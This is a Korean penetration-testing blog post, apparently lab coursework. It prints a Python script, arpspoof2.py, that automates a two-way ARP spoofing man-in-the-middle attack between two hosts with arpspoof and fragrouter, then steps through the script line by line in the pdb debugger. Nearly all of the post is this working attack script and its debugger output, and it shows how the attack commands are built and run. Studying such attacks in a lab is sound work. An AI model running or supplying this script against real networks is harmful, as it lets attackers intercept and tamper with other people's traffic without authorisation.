Linux/모의해킹

arpspoof2.py 분석하기

GGkeeper 2022. 1. 8. 02:34

실습> arpspoof2.py 분석하기

arpspoof2.py 는 0106.txt 파일에도 있음.

-- /bin/arpspoof2.py --
#!/usr/bin/env python3
# 파일명 : arpspoof2.py
# 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
# 작성자 : 리눅스마스터넷

import sys, os

# argument count : 인수(인자)의 개수
# argument value(vector) : 인수(인자)가 저장된 변수
# len 
# sys.argv[0] : 명령어가 저장된 인덱스 0번
# sys.argv[1] : 첫 번째 인수가 저장된 인덱스 1번
# sys.argv[2] : 두 번째 인수가 저장된 인덱스 2번
# sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
#                 [0]                   [1]    [2]
argc = len(sys.argv)  # 명령어까지 포함된다.
network = '192.168.108.'

if argc != 3:
    print(f"사용법 : {sys.argv[0]} victim1 victim2")
    sys.exit(1)  # 프로세스 종료

# sys.argv[1] : 첫 번째 파라미터 victim1
# sys.argv[2] : 두 번째 파라미터 victim2
attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &', 
          f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
           'fragrouter -B1 > /dev/null 2>&1',
           'pkill -9 arpspoof']

print('>>> arp spoofing 공격 실행중 !!! <<<')

# attak 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
for command in attack:
    print(f"{command}")
    os.system(command)  # 명령어 실행

print('>>> arpspoof 공격 중지!!! <<<')
-- /bin/arpspoof2.py --



Attacker ~# python3 -m pdb /bin/arpspoof2.py 
> /usr/bin/arpspoof2.py(6)<module>()
-> import sys, os

전체 소스를 출력한다.
(Pdb) ll
  1   #!/usr/bin/env python3
  2   # 파일명 : arpspoof2.py
  3   # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
  4   # 작성자 : 리눅스마스터넷
  5  
  6  -> import sys, os
  7  
  8   # argument count : 인수(인자)의 개수
  9   # argument value(vector) : 인수(인자)가 저장된 변수
 10   # len
 11   # sys.argv[0] : 명령어가 저장된 인덱스 0번
 12   # sys.argv[1] : 첫 번째 인수가 저장된 인덱스 1번
 13   # sys.argv[2] : 두 번째 인수가 저장된 인덱스 2번
 14   # sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
 15   #                 [0]                   [1]    [2]
 16   argc = len(sys.argv)  # 명령어까지 포함된다.
 17   network = '192.168.108.'
 18  
 19   if argc != 3:
 20       print(f"사용법 : {sys.argv[0]} victim1 victim2")
 21       sys.exit(1)  # 프로세스 종료
 22  
 23   # sys.argv[1] : 첫 번째 파라미터 victim1
 24   # sys.argv[2] : 두 번째 파라미터 victim2
 25   attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
 26             f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
 27              'fragrouter -B1 > /dev/null 2>&1',
 28              'pkill -9 arpspoof']
 29  
 30   print('>>> arp spoofing 공격 실행중 !!! <<<')
 31  
 32   # attak 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
 33   for command in attack:
 34       print(f"{command}")
 35       os.system(command)  # 명령어 실행
 36  
 37   print('>>> arpspoof 공격 중지!!! <<<')
(Pdb) 

list 를 이용해서 소스코드를 출력한다. (11줄)
(Pdb) list
  1   #!/usr/bin/env python3
  2   # 파일명 : arpspoof2.py
  3   # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
  4   # 작성자 : 리눅스마스터넷
  5  
  6  -> import sys, os
  7  
  8   # argument count : 인수(인자)의 개수
  9   # argument value(vector) : 인수(인자)가 저장된 변수
 10   # len
 11   # sys.argv[0] : 명령어가 저장된 인덱스 0번

 다시 list로 확인하면 다음 라인부터 소스코드를 출력한다.
(Pdb) list
 12   # sys.argv[1] : 첫 번째 인수가 저장된 인덱스 1번
 13   # sys.argv[2] : 두 번째 인수가 저장된 인덱스 2번
 14   # sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
 15   #                 [0]                   [1]    [2]
 16   argc = len(sys.argv)  # 명령어까지 포함된다.
 17   network = '192.168.108.'
 18  
 19   if argc != 3:
 20       print(f"사용법 : {sys.argv[0]} victim1 victim2")
 21       sys.exit(1)  # 프로세스 종료
 22  
 
list 를 l로 줄여서 사용할 수 있다.
(Pdb) l
 23   # sys.argv[1] : 첫 번째 파라미터 victim1
 24   # sys.argv[2] : 두 번째 파라미터 victim2
 25   attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
 26             f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
 27              'fragrouter -B1 > /dev/null 2>&1',
 28              'pkill -9 arpspoof']
 29  
 30   print('>>> arp spoofing 공격 실행중 !!! <<<')
 31  
 32   # attak 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
 33   for command in attack:

 1번 라인부터 다시 출력한다.
(Pdb) l 1
  1   #!/usr/bin/env python3
  2   # 파일명 : arpspoof2.py
  3   # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
  4   # 작성자 : 리눅스마스터넷
  5  
  6  -> import sys, os
  7  
  8   # argument count : 인수(인자)의 개수
  9   # argument value(vector) : 인수(인자)가 저장된 변수
 10   # len
 11   # sys.argv[0] : 명령어가 저장된 인덱스 0번

1 ~ 5번 라인까지 소스코드를 출력한다.
 (Pdb) l 1, 5
  1   #!/usr/bin/env python3
  2   # 파일명 : arpspoof2.py
  3   # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
  4   # 작성자 : 리눅스마스터넷
  5  

l 명령어의 도움말을 확인한다. 
(Pdb) help l
l(ist) [first [,last] | .]

        List source code for the current file.  Without arguments,
        list 11 lines around the current line or continue the previous
        listing.  With . as argument, list 11 lines around the current
        line.  With one argument, list 11 lines starting at that line.
        With two arguments, list the given range; if the second
        argument is less than the first, it is a count.

        The current line in the current frame is indicated by "->".
        If an exception is being debugged, the line where the
        exception was originally raised or propagated is indicated by
        ">>", if it differs from the current line.
 
(Pdb) l 1
  1   #!/usr/bin/env python3
  2   # 파일명 : arpspoof2.py
  3   # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
  4   # 작성자 : 리눅스마스터넷
  5  
  6  -> import sys, os
  7  
  8   # argument count : 인수(인자)의 개수
  9   # argument value(vector) : 인수(인자)가 저장된 변수
 10   # len
 11   # sys.argv[0] : 명령어가 저장된 인덱스 0번

n을 이용해서 6번 라인을 실행한다.
(Pdb) n
> /usr/bin/arpspoof2.py(16)<module>()
-> argc = len(sys.argv)  # 명령어까지 포함된다.

(Pdb) l
 11   # sys.argv[0] : 명령어가 저장된 인덱스 0번
 12   # sys.argv[1] : 첫 번째 인수가 저장된 인덱스 1번
 13   # sys.argv[2] : 두 번째 인수가 저장된 인덱스 2번
 14   # sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
 15   #                 [0]                   [1]    [2]
 16  -> argc = len(sys.argv)  # 명령어까지 포함된다.
 17   network = '192.168.108.'
 18  
 19   if argc != 3:
 20       print(f"사용법 : {sys.argv[0]} victim1 victim2")
 21       sys.exit(1)  # 프로세스 종료

n을 이용해서 16번 라인을 실행한다.
(Pdb) n
> /usr/bin/arpspoof2.py(17)<module>()
-> network = '192.168.108.'

p를 이용해서 argc 변수의 값을 출력한다. 
(Pdb) p argc
1

n을 이용해서 17번 라인을 실행한다.
(Pdb) n
> /usr/bin/arpspoof2.py(19)<module>()
-> if argc != 3:

소스코드를 확인한다.
(Pdb) l
 14   # sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
 15   #                 [0]                   [1]    [2]
 16   argc = len(sys.argv)  # 명령어까지 포함된다.
 17   network = '192.168.108.'
 18  
 19  -> if argc != 3:
 20       print(f"사용법 : {sys.argv[0]} victim1 victim2")
 21       sys.exit(1)  # 프로세스 종료
 22  
 23   # sys.argv[1] : 첫 번째 파라미터 victim1
 24   # sys.argv[2] : 두 번째 파라미터 victim2

n을 이용해서 19번 라인을 실행한다.
(Pdb) n
> /usr/bin/arpspoof2.py(20)<module>()
-> print(f"사용법 : {sys.argv[0]} victim1 victim2")

n을 이용해서 20번 라인을 실행한다.
(Pdb) n
사용법 : /bin/arpspoof2.py victim1 victim2
> /usr/bin/arpspoof2.py(21)<module>()
-> sys.exit(1)  # 프로세스 종료

소스 코드를 확인한다.
(Pdb) l
 16   argc = len(sys.argv)  # 명령어까지 포함된다.
 17   network = '192.168.108.'
 18  
 19   if argc != 3:
 20       print(f"사용법 : {sys.argv[0]} victim1 victim2")
 21  ->     sys.exit(1)  # 프로세스 종료
 22  
 23   # sys.argv[1] : 첫 번째 파라미터 victim1
 24   # sys.argv[2] : 두 번째 파라미터 victim2
 25   attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
 26             f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',

 n을 이용해서 21번 라인을 실행한다.
(Pdb) n
SystemExit: 1
> /usr/bin/arpspoof2.py(21)<module>()
-> sys.exit(1)  # 프로세스 종료

pdb를 종료한다.
(Pdb) q

인수 2개 100 105를 세팅하고 실행한다.
Attacker ~# python3 -m pdb /bin/arpspoof2.py 100 105
> /usr/bin/arpspoof2.py(6)<module>()
-> import sys, os

(Pdb) n
> /usr/bin/arpspoof2.py(16)<module>()
-> argc = len(sys.argv)  # 명령어까지 포함된다.

(Pdb) p sys.argv
['/bin/arpspoof2.py', '100', '105']
(Pdb) p sys.argv[0]
'/bin/arpspoof2.py'
(Pdb) p sys.argv[1]
'100'
(Pdb) p sys.argv[2]
'105'

(Pdb) n
> /usr/bin/arpspoof2.py(17)<module>()
-> network = '192.168.108.'

(Pdb) p argc
3

(Pdb) n
> /usr/bin/arpspoof2.py(19)<module>()
-> if argc != 3:

(Pdb) p network
'192.168.108.'

(Pdb) ll
  1   #!/usr/bin/env python3
  2   # 파일명 : arpspoof2.py
  3   # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
  4   # 작성자 : 리눅스마스터넷
  5  
  6   import sys, os
  7  
  8   # argument count : 인수(인자)의 개수
  9   # argument value(vector) : 인수(인자)가 저장된 변수
 10   # len
 11   # sys.argv[0] : 명령어가 저장된 인덱스 0번
 12   # sys.argv[1] : 첫 번째 인수가 저장된 인덱스 1번
 13   # sys.argv[2] : 두 번째 인수가 저장된 인덱스 2번
 14   # sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
 15   #                 [0]                   [1]    [2]
 16   argc = len(sys.argv)  # 명령어까지 포함된다.
 17   network = '192.168.108.'
 18  
 19  -> if argc != 3:
 20       print(f"사용법 : {sys.argv[0]} victim1 victim2")
 21       sys.exit(1)  # 프로세스 종료
 22  
 23   # sys.argv[1] : 첫 번째 파라미터 victim1
 24   # sys.argv[2] : 두 번째 파라미터 victim2
 25   attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
 26             f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
 27              'fragrouter -B1 > /dev/null 2>&1',
 28              'pkill -9 arpspoof']
 29  
 30   print('>>> arp spoofing 공격 실행중 !!! <<<')
 31  
 32   # attak 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
 33   for command in attack:
 34       print(f"{command}")
 35       os.system(command)  # 명령어 실행
 36  
 37   print('>>> arpspoof 공격 중지!!! <<<')

(Pdb) n
> /usr/bin/arpspoof2.py(25)<module>()
-> attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',

(Pdb) ll
  1   #!/usr/bin/env python3
  2   # 파일명 : arpspoof2.py
  3   # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
  4   # 작성자 : 리눅스마스터넷
  5  
  6   import sys, os
  7  
  8   # argument count : 인수(인자)의 개수
  9   # argument value(vector) : 인수(인자)가 저장된 변수
 10   # len
 11   # sys.argv[0] : 명령어가 저장된 인덱스 0번
 12   # sys.argv[1] : 첫 번째 인수가 저장된 인덱스 1번
 13   # sys.argv[2] : 두 번째 인수가 저장된 인덱스 2번
 14   # sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
 15   #                 [0]                   [1]    [2]
 16   argc = len(sys.argv)  # 명령어까지 포함된다.
 17   network = '192.168.108.'
 18  
 19  -> if argc != 3:
 20       print(f"사용법 : {sys.argv[0]} victim1 victim2")
 21       sys.exit(1)  # 프로세스 종료
 22  
 23   # sys.argv[1] : 첫 번째 파라미터 victim1
 24   # sys.argv[2] : 두 번째 파라미터 victim2
 25   attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
 26             f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
 27              'fragrouter -B1 > /dev/null 2>&1',
 28              'pkill -9 arpspoof']
 29  
 30   print('>>> arp spoofing 공격 실행중 !!! <<<')
 31  
 32   # attak 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
 33   for command in attack:
 34       print(f"{command}")
 35       os.system(command)  # 명령어 실행
 36  
 37   print('>>> arpspoof 공격 중지!!! <<<')

(Pdb) n
> /usr/bin/arpspoof2.py(25)<module>()
-> attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',

(Pdb) l
 20       print(f"사용법 : {sys.argv[0]} victim1 victim2")
 21       sys.exit(1)  # 프로세스 종료
 22  
 23   # sys.argv[1] : 첫 번째 파라미터 victim1
 24   # sys.argv[2] : 두 번째 파라미터 victim2
 25  -> attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
 26             f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
 27              'fragrouter -B1 > /dev/null 2>&1',
 28              'pkill -9 arpspoof']
 29  
 30   print('>>> arp spoofing 공격 실행중 !!! <<<')

(Pdb) n
> /usr/bin/arpspoof2.py(26)<module>()
-> f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',

(Pdb) n
> /usr/bin/arpspoof2.py(27)<module>()
-> 'fragrouter -B1 > /dev/null 2>&1',

(Pdb) n
> /usr/bin/arpspoof2.py(28)<module>()
-> 'pkill -9 arpspoof']

(Pdb) n
> /usr/bin/arpspoof2.py(25)<module>()
-> attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',

(Pdb) l
 20       print(f"사용법 : {sys.argv[0]} victim1 victim2")
 21       sys.exit(1)  # 프로세스 종료
 22  
 23   # sys.argv[1] : 첫 번째 파라미터 victim1
 24   # sys.argv[2] : 두 번째 파라미터 victim2
 25  -> attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
 26             f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
 27              'fragrouter -B1 > /dev/null 2>&1',
 28              'pkill -9 arpspoof']
 29  
 30   print('>>> arp spoofing 공격 실행중 !!! <<<')

(Pdb) n
> /usr/bin/arpspoof2.py(30)<module>()
-> print('>>> arp spoofing 공격 실행중 !!! <<<')

(Pdb) p attack
['arpspoof -t 192.168.108.100 192.168.108.105 > /dev/null 2>&1 &', 'arpspoof -t 192.168.108.105 192.168.108.100 > /dev/null 2>&1 &', 'fragrouter -B1 > /dev/null 2>&1', 'pkill -9 arpspoof']

(Pdb) l
 25   attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
 26             f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
 27              'fragrouter -B1 > /dev/null 2>&1',
 28              'pkill -9 arpspoof']
 29  
 30  -> print('>>> arp spoofing 공격 실행중 !!! <<<')
 31  
 32   # attak 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
 33   for command in attack:
 34       print(f"{command}")
 35       os.system(command)  # 명령어 실행

(Pdb) n
>>> arp spoofing 공격 실행중 !!! <<<
> /usr/bin/arpspoof2.py(33)<module>()
-> for command in attack:

(Pdb) n
> /usr/bin/arpspoof2.py(34)<module>()
-> print(f"{command}")

(Pdb) p command
'arpspoof -t 192.168.108.100 192.168.108.105 > /dev/null 2>&1 &'

(Pdb) p network
'192.168.108.'

(Pdb) p sys.argv[1]
'100'

(Pdb) n
arpspoof -t 192.168.108.100 192.168.108.105 > /dev/null 2>&1 &
> /usr/bin/arpspoof2.py(35)<module>()
-> os.system(command)  # 명령어 실행

(Pdb) n
> /usr/bin/arpspoof2.py(33)<module>()
-> for command in attack:

(Pdb) n
> /usr/bin/arpspoof2.py(34)<module>()
-> print(f"{command}")

(Pdb) p command
'arpspoof -t 192.168.108.105 192.168.108.100 > /dev/null 2>&1 &'

(Pdb) n
arpspoof -t 192.168.108.105 192.168.108.100 > /dev/null 2>&1 &
> /usr/bin/arpspoof2.py(35)<module>()
-> os.system(command)  # 명령어 실행

(Pdb) n
> /usr/bin/arpspoof2.py(33)<module>()
-> for command in attack:

(Pdb) n
> /usr/bin/arpspoof2.py(34)<module>()
-> print(f"{command}")

(Pdb) p command
'fragrouter -B1 > /dev/null 2>&1'

(Pdb) n
fragrouter -B1 > /dev/null 2>&1
> /usr/bin/arpspoof2.py(35)<module>()
-> os.system(command)  # 명령어 실행

(Pdb) n
^C> /usr/bin/arpspoof2.py(33)<module>()
-> for command in attack:

(Pdb) n
> /usr/bin/arpspoof2.py(34)<module>()
-> print(f"{command}")

(Pdb) p command
'pkill -9 arpspoof'

(Pdb) n
pkill -9 arpspoof
> /usr/bin/arpspoof2.py(35)<module>()
-> os.system(command)  # 명령어 실행

(Pdb) n
> /usr/bin/arpspoof2.py(33)<module>()
-> for command in attack:

(Pdb) n
> /usr/bin/arpspoof2.py(37)<module>()
-> print('>>> arpspoof 공격 중지!!! <<<')

(Pdb) n
>>> arpspoof 공격 중지!!! <<<
--Return--
> /usr/bin/arpspoof2.py(37)<module>()->None
-> print('>>> arpspoof 공격 중지!!! <<<')

--Return-- 이 나오면 프로세스가 종료되었기 때문에 q를 이용해서 pdb를 종료한다.
(Pdb) q

'Linux > 모의해킹' 카테고리의 다른 글

ARP Redirect 공격  (0) 2022.01.08
Python 디버깅  (0) 2022.01.08
arpspoof 공격 스크립트 작성하기  (0) 2022.01.06
ARP spoofing (스푸핑)  (0) 2022.01.06
MAC 주소 변경하기  (0) 2022.01.06